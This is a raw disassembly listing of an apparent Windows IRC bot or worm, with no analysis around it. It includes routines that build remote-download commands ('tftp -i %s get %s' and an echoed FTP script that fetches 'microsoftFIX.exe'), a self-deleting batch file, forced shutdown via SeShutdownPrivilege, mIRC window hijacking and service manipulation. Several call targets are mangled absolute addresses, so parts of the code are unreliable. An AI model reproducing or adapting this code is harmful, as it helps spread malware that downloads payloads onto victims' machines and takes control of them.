jmp short loc_411B44
; ---------------------------------------------------------------------------
loc_411B42: ; CODE XREF: sub_411AB7+Cj
; sub_411AB7+13j ...
xor eax, eax
loc_411B44: ; CODE XREF: sub_411AB7+89j
pop edi
pop esi
pop ebp
retn
sub_411AB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411B48 proc near ; CODE XREF: sub_402EC0+E9p
; ___:0040EB0Cp
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_417070
mov esi, [ebp+arg_0]
push esi
call sub_414BE0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_411B7E
or eax, 0FFFFFFFFh
jmp short loc_411BF1
; ---------------------------------------------------------------------------
loc_411B7E: ; CODE XREF: sub_411B48+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_411BA0
loc_411B8A: ; CODE XREF: sub_411B48+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_411B97
cmp dl, 0Dh
jnz short loc_411B9B
loc_411B97: ; CODE XREF: sub_411B48+48j
and byte ptr [ecx+esi], 0
loc_411B9B: ; CODE XREF: sub_411B48+4Dj
inc ecx
cmp ecx, eax
jl short loc_411B8A
loc_411BA0: ; CODE XREF: sub_411B48+40j
xor edx, edx
push edi
test eax, eax
jle short loc_411BD1
lea edi, [ebp+var_7CC]
loc_411BAD: ; CODE XREF: sub_411B48+87j
cmp byte ptr [edx+esi], 0
jnz short loc_411BCC
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_411BCC
cmp ebx, 1F4h
jge short loc_411BD1
mov [edi], ecx
inc ebx
add edi, 4
loc_411BCC: ; CODE XREF: sub_411B48+69j
; sub_411B48+74j
inc edx
cmp edx, eax
jl short loc_411BAD
loc_411BD1: ; CODE XREF: sub_411B48+5Dj
; sub_411B48+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_411BEF
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_4187B0
add esp, 0Ch
loc_411BEF: ; CODE XREF: sub_411B48+8Ej
mov eax, ebx
loc_411BF1: ; CODE XREF: sub_411B48+34j
pop esi
pop ebx
leave
retn
sub_411B48 endp
; =============== S U B R O U T I N E =======================================
sub_411BF5 proc near ; CODE XREF: sub_411C4F+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_411C2E
push ebx
mov ebx, edi
loc_411C12: ; CODE XREF: sub_411BF5+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_411C31
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_411C12
pop ebx
loc_411C2E: ; CODE XREF: sub_411BF5+18j
pop edi
pop esi
retn
sub_411BF5 endp
; =============== S U B R O U T I N E =======================================
sub_411C31 proc near ; CODE XREF: sub_411BF5+25p
; sub_411C4F+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41A630
cmp al, 61h
pop ecx
jl short loc_411C4C
cmp al, 7Ah
jg short loc_411C4C
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_411C4C: ; CODE XREF: sub_411C31+Ej
; sub_411C31+12j
xor eax, eax
retn
sub_411C31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411C4F proc near ; CODE XREF: ___:00410660p
; ___:004106E5p ...
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_417E20
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_414BE0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_414BE0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_411BF5
add esp, 14h
dec esi
mov edi, esi
loc_411C8D: ; CODE XREF: sub_411C4F+B6j
test esi, esi
jle short loc_411D0B
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41A630
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41A630
pop ecx
cmp eax, ebx
pop ecx
jz short loc_411D03
loc_411CB3: ; CODE XREF: sub_411C4F+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_411C31
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_411CD4
mov eax, ecx
loc_411CD4: ; CODE XREF: sub_411C4F+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_411D07
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41A630
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41A630
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_411CB3
loc_411D03: ; CODE XREF: sub_411C4F+62j
dec edi
dec esi
jmp short loc_411C8D
; ---------------------------------------------------------------------------
loc_411D07: ; CODE XREF: sub_411C4F+8Aj
xor eax, eax
jmp short loc_411D10
; ---------------------------------------------------------------------------
loc_411D0B: ; CODE XREF: sub_411C4F+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_411D10: ; CODE XREF: sub_411C4F+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_411C4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D15 proc near ; CODE XREF: sub_403038+2D35p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 26908EFh
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
nop
call near ptr 27C0000h
lea eax, [ebp+var_100]
loc_411D4E: ; CODE XREF: sub_411D15+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_411D5A
cmp cl, 9
jnz short loc_411D5D
loc_411D5A: ; CODE XREF: sub_411D15+3Ej
inc eax
jmp short loc_411D4E
; ---------------------------------------------------------------------------
loc_411D5D: ; CODE XREF: sub_411D15+43j
; sub_411D15+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_411D77
mov cl, [eax]
cmp cl, 2Eh
jz short loc_411D5D
cmp cl, 21h
jl short loc_411D5D
loc_411D77: ; CODE XREF: sub_411D15+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DA418
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_4172D0
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_411D15 endp
; =============== S U B R O U T I N E =======================================
sub_411D9F proc near ; CODE XREF: sub_403038+3925p
push esi
push 0
call dword_445318
test eax, eax
jz short loc_411DD6
push 1
call dword_445338
mov esi, eax
test esi, esi
jz short loc_411DD6
push edi
push esi
nop
call near ptr 27D0642h
push esi
mov edi, eax
call near ptr 27D0000h
nop
call dword_44539C
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_411DD6: ; CODE XREF: sub_411D9F+Bj
; sub_411D9F+19j
xor eax, eax
pop esi
retn
sub_411D9F endp
; =============== S U B R O U T I N E =======================================
sub_411DDA proc near ; CODE XREF: sub_403038+2BD8p
arg_0 = dword ptr 4
push ebp
push esi
xor esi, esi
push esi
push offset aMirc_2 ; "mIRC"
call dword_445354
mov ebp, eax
cmp ebp, esi
jz short loc_411E5A
push ebx
push edi
push offset aMirc_3 ; "mIRC"
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 27E0000h
nop
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 27D0B91h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_4171D0
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4453A4
push esi
push 1
push 4C9h
push ebp
call dword_4453A4
push ebx
nop
call near ptr 25E0000h
push edi
nop
call near ptr 267009Bh
push 1
pop eax
pop edi
pop ebx
jmp short loc_411E5C
; ---------------------------------------------------------------------------
loc_411E5A: ; CODE XREF: sub_411DDA+14j
xor eax, eax
loc_411E5C: ; CODE XREF: sub_411DDA+7Ej
pop esi
pop ebp
retn
sub_411DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E5F proc near ; CODE XREF: ___:004029A1p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_445404
test eax, eax
jz short loc_411EFE
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4DD358
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_411EFE
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 27F0000h
push ebx
mov ebx, dword_4DD2BC
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_411EFE
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 27E06F2h
push esi
call ebx
loc_411EFE: ; CODE XREF: sub_411E5F+2Aj
; sub_411E5F+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411E5F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 454h
push esi
xor esi, esi
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_417070
push 44h
lea eax, [ebp-54h]
push esi
push eax
call sub_417070
push dword ptr [ebp+0Ch]
lea eax, [ebp-454h]
mov dword ptr [ebp-54h], 44h
mov dword ptr [ebp-28h], 1
push dword ptr [ebp+8]
mov [ebp-24h], si
push offset aSS_4 ; "%s %s"
push 400h
push eax
call sub_4172D0
add esp, 2Ch
lea eax, [ebp-10h]
push eax
lea eax, [ebp-54h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-454h]
push esi
push eax
push dword ptr [ebp+8]
nop
call near ptr 267039Fh
neg eax
sbb eax, eax
pop esi
and eax, [ebp-8]
leave
retn
; =============== S U B R O U T I N E =======================================
sub_411F81 proc near ; CODE XREF: sub_403038+15F3p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_4133BB
pop ecx
pop ecx
push 50005h
push 6
call dword_445288
neg eax
sbb eax, eax
neg eax
retn
sub_411F81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411FA3 proc near ; CODE XREF: sub_403038+3B8Ap
; ___:004114CFp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_436C24, esi
push edi
jz short loc_411FC7
cmp dword_445418, esi
jnz short loc_411FC7
push esi
call sub_401000
pop ecx
loc_411FC7: ; CODE XREF: sub_411FA3+13j
; sub_411FA3+1Bj
call sub_40901C
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 26D0000h
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_4171D0
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 2760000h
mov edi, eax
cmp edi, esi
jbe loc_412127
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_4171D0
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 2720000h
nop
push edi
call near ptr 267009Bh
nop
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417070
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_417070
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_4DA61C
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call near ptr 26A0797h
nop
push eax
call near ptr 2680000h
nop
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 26B0C38h
cmp eax, 0FFFFFFFFh
jz short loc_4120CF
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 26B0AE4h
loc_4120CF: ; CODE XREF: sub_411FA3+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_4171D0
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 2800000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 267039Fh
loc_412127: ; CODE XREF: sub_411FA3+72j
pop edi
pop esi
leave
retn
sub_411FA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41212B proc near ; CODE XREF: sub_403038+54FDp
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call near ptr 26F053Fh
nop
cmp [ebp+var_84], 2
jnz short loc_4121C1
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4452C8
push edi
push eax
call dword_4452D8
test eax, eax
jz short loc_4121B3
push [ebp+arg_10]
push offset dword_4421C8
loc_41218C: ; CODE XREF: sub_41212B+94j
lea eax, [ebp+var_294]
push eax
call sub_4171D0
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 20h
jmp short loc_4121EB
; ---------------------------------------------------------------------------
loc_4121B3: ; CODE XREF: sub_41212B+57j
nop
call near ptr 26908EFh
push eax
push offset unk_4421E4
jmp short loc_41218C
; ---------------------------------------------------------------------------
loc_4121C1: ; CODE XREF: sub_41212B+3Fj
lea eax, [ebp+var_294]
push offset unk_44220C
push eax
call sub_4171D0
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 1Ch
loc_4121EB: ; CODE XREF: sub_41212B+86j
pop edi
leave
retn
sub_41212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4121EE proc near ; CODE XREF: ___:0040AEEBp
; ___:0040C86Ep
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_445388
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_445348
push edi
push 1
push 2
mov [ebp+var_E], ax
call dword_4453C8
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+arg_BC], esi
jz loc_4122F1
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4452F0
cmp eax, 0FFFFFFFFh
jz loc_4122F1
mov ebx, 400h
push edi
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call dword_445360
mov esi, offset aMicrosoftfix_e ; "microsoftFIX.exe"
push esi
push esi
push [ebp+arg_0]
call sub_40267D
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_4172D0
movzx eax, word ptr dword_4D3010
add esp, 18h
push esi
push esi
push eax
push [ebp+arg_0]
call sub_40267D
pop ecx
push eax
push offset aEchoOpenSDOE_1 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_4172D0
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_BC]
call dword_445398
cmp eax, 0FFFFFFFFh
jnz short loc_4122F5
loc_4122F1: ; CODE XREF: sub_4121EE+56j
; sub_4121EE+6Cj
xor al, al
jmp short loc_412319
; ---------------------------------------------------------------------------
loc_4122F5: ; CODE XREF: sub_4121EE+101j
push 0
lea eax, [ebp+var_5A0]
push ebx
push eax
push [ebp+arg_BC]
call dword_445360
push [ebp+arg_BC]
call dword_4453E0
mov al, 1
loc_412319: ; CODE XREF: sub_4121EE+105j
pop edi
pop esi
pop ebx
leave
retn
sub_4121EE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp-94h]
mov dword ptr [ebp-94h], 94h
push eax
call near ptr 26F053Fh
nop
cmp dword ptr [ebp-90h], 4
jnz short loc_412374
cmp dword ptr [ebp-8Ch], 0
jnz short loc_41235D
push 1
pop eax
cmp [ebp-84h], eax
jnz short loc_412374
leave
retn
; ---------------------------------------------------------------------------
loc_41235D: ; CODE XREF: ___:0041234Ej
cmp dword ptr [ebp-8Ch], 0Ah
jz short loc_41236F
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_412374
loc_41236F: ; CODE XREF: ___:00412364j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_412374: ; CODE XREF: ___:00412345j
; ___:00412359j ...
push esi
push edi
push offset aNetapi32_dll_0 ; "netapi32.dll"
call near ptr 2690610h
nop
mov esi, eax
push offset aNetmessagebu_0 ; "NetMessageBufferSend"
push esi
nop
call near ptr 26A0000h
push 32h
mov edi, eax
push dword ptr [ebp+8]
lea eax, [ebp-1C0h]
push eax
call sub_419D00
push 32h
lea eax, [ebp-15Ch]
push dword ptr [ebp+0Ch]
push eax
call sub_419D00
push 32h
lea eax, [ebp-0F8h]
push dword ptr [ebp+10h]
push eax
call sub_419D00
lea eax, [ebp-0F8h]
push eax
call sub_41A800
shl eax, 1
push eax
lea eax, [ebp-0F8h]
push eax
lea eax, [ebp-15Ch]
push eax
lea eax, [ebp-1C0h]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
nop
call near ptr 2801179h
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4123FE proc near ; CODE XREF: ___:00402785p
; ___:0040C7BDp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
nop
call near ptr 26C05FFh
push eax
call sub_417B00
pop ecx
call sub_417B10
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_433480
call sub_41915C
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_4123FE endp
; =============== S U B R O U T I N E =======================================
sub_41243B proc near ; CODE XREF: sub_403038+261Dp
; sub_403038+2680p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_4124A0
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_4422E0[esi]
push edi
push eax
call sub_4124C2
add esp, 14h
test eax, eax
jnz short loc_412483
push edi
push off_4422DC[esi]
mov esi, offset dword_4DACE0
push offset unk_4423A0
push esi
call sub_4171D0
add esp, 10h
jmp short loc_4124BD
; ---------------------------------------------------------------------------
loc_412483: ; CODE XREF: sub_41243B+2Aj
push eax
call sub_412564
push eax
push edi
mov esi, offset dword_4DACE0
push offset unk_4423BC
push esi
call sub_4171D0
add esp, 14h
jmp short loc_4124BD
; ---------------------------------------------------------------------------
loc_4124A0: ; CODE XREF: sub_41243B+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DACE0
push off_4422D8[eax*4]
push offset unk_4423E8
push esi
call sub_4171D0
add esp, 0Ch
loc_4124BD: ; CODE XREF: sub_41243B+46j
; sub_41243B+63j
mov eax, esi
pop edi
pop esi
retn
sub_41243B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4124C2 proc near ; CODE XREF: sub_41243B+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_44533C
mov edi, eax
cmp edi, ebx
jnz short loc_4124E9
call near ptr 26908EFh
nop
mov ebx, eax
jmp short loc_41255E
; ---------------------------------------------------------------------------
loc_4124E9: ; CODE XREF: sub_4124C2+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_445224
mov esi, eax
cmp esi, ebx
jnz short loc_412509
nop
call near ptr 26908EFh
mov ebx, eax
jmp short loc_412556
; ---------------------------------------------------------------------------
loc_412509: ; CODE XREF: sub_4124C2+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_41253C
cmp eax, 3
jz short loc_41252D
jle short loc_41254F
cmp eax, 6
jg short loc_41254F
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_445290
jmp short loc_412543
; ---------------------------------------------------------------------------
loc_41252D: ; CODE XREF: sub_4124C2+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_44522C
jmp short loc_412543
; ---------------------------------------------------------------------------
loc_41253C: ; CODE XREF: sub_4124C2+4Dj
push esi
call dword_445294
loc_412543: ; CODE XREF: sub_4124C2+69j
; sub_4124C2+78j
test eax, eax
jnz short loc_41254F
call near ptr 26908EFh
nop
mov ebx, eax
loc_41254F: ; CODE XREF: sub_4124C2+54j
; sub_4124C2+59j ...
push esi
call dword_445240
loc_412556: ; CODE XREF: sub_4124C2+45j
push edi
call dword_445240
pop esi
loc_41255E: ; CODE XREF: sub_4124C2+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_4124C2 endp
; =============== S U B R O U T I N E =======================================
sub_412564 proc near ; CODE XREF: sub_41243B+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_412619
jz loc_412612
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_4125DC
jz short loc_4125D2
mov ecx, eax
sub ecx, 3
jz short loc_4125C8
dec ecx
dec ecx
jz short loc_4125BE
dec ecx
jz short loc_4125B4
sub ecx, 51h
jz short loc_4125AA
sub ecx, 24h
jnz loc_41268F ; default
; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_412681
; ---------------------------------------------------------------------------
loc_4125AA: ; CODE XREF: sub_412564+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_412681
; ---------------------------------------------------------------------------
loc_4125B4: ; CODE XREF: sub_412564+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_412681
; ---------------------------------------------------------------------------
loc_4125BE: ; CODE XREF: sub_412564+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_412681
; ---------------------------------------------------------------------------
loc_4125C8: ; CODE XREF: sub_412564+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_412681
; ---------------------------------------------------------------------------
loc_4125D2: ; CODE XREF: sub_412564+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_412681
; ---------------------------------------------------------------------------
loc_4125DC: ; CODE XREF: sub_412564+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_41260B
dec ecx
jz short loc_412604
dec ecx
jz short loc_4125FD
dec ecx
jnz loc_41268F ; default
; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_412681
; ---------------------------------------------------------------------------
loc_4125FD: ; CODE XREF: sub_412564+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412604: ; CODE XREF: sub_412564+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_41260B: ; CODE XREF: sub_412564+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412612: ; CODE XREF: sub_412564+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412619: ; CODE XREF: sub_412564+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_41268F ; default
; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
jz short loc_41267C
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_41268F ; default
; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_4126D0[ecx]
jmp off_4126A8[ecx*4] ; switch jump
loc_41263D: ; DATA XREF: ___:off_4126A8o
push offset aTheSpecifiedDa ; jumptable 00412636 case 7
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412644: ; CODE XREF: sub_412564+D2j
; DATA XREF: ___:off_4126A8o
push offset aTheServiceDepe ; jumptable 00412636 case 17
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_41264B: ; CODE XREF: sub_412564+D2j
; DATA XREF: ___:off_4126A8o
push offset aTheServiceDe_0 ; jumptable 00412636 case 10
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412652: ; CODE XREF: sub_412564+D2j
; DATA XREF: ___:off_4126A8o
push offset aTheServiceHasB ; jumptable 00412636 case 0
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412659: ; CODE XREF: sub_412564+D2j
; DATA XREF: ___:off_4126A8o
push offset aTheSpecified_0 ; jumptable 00412636 case 2
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412660: ; CODE XREF: sub_412564+D2j
; DATA XREF: ___:off_4126A8o
push offset aTheServiceCoul ; jumptable 00412636 case 11
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412667: ; CODE XREF: sub_412564+D2j
; DATA XREF: ___:off_4126A8o
push offset aTheServiceHa_0 ; jumptable 00412636 case 14
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_41266E: ; CODE XREF: sub_412564+D2j
; DATA XREF: ___:off_4126A8o
push offset aTheRequested_1 ; jumptable 00412636 case 3
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_412675: ; CODE XREF: sub_412564+D2j
; DATA XREF: ___:off_4126A8o
push offset aTheServiceHasN ; jumptable 00412636 case 4
jmp short loc_412681
; ---------------------------------------------------------------------------
loc_41267C: ; CODE XREF: sub_412564+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_412681: ; CODE XREF: sub_412564+41j
; sub_412564+4Bj ...
push offset dword_4DA620
call sub_4171D0
pop ecx
pop ecx
jmp short loc_4126A2
; ---------------------------------------------------------------------------
loc_41268F: ; CODE XREF: sub_412564+36j
; sub_412564+89j ...
push eax ; default
; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DA620
call sub_4171D0
add esp, 0Ch
loc_4126A2: ; CODE XREF: sub_412564+129j
mov eax, offset dword_4DA620
retn
sub_412564 endp
; ---------------------------------------------------------------------------
off_4126A8 dd offset loc_412652 ; DATA XREF: sub_412564+D2r
dd offset loc_412659 ; jump table for switch statement
dd offset loc_41266E
dd offset loc_412675
dd offset loc_41263D
dd offset loc_41264B
dd offset loc_412660
dd offset loc_412667
dd offset loc_412644
dd offset loc_41268F
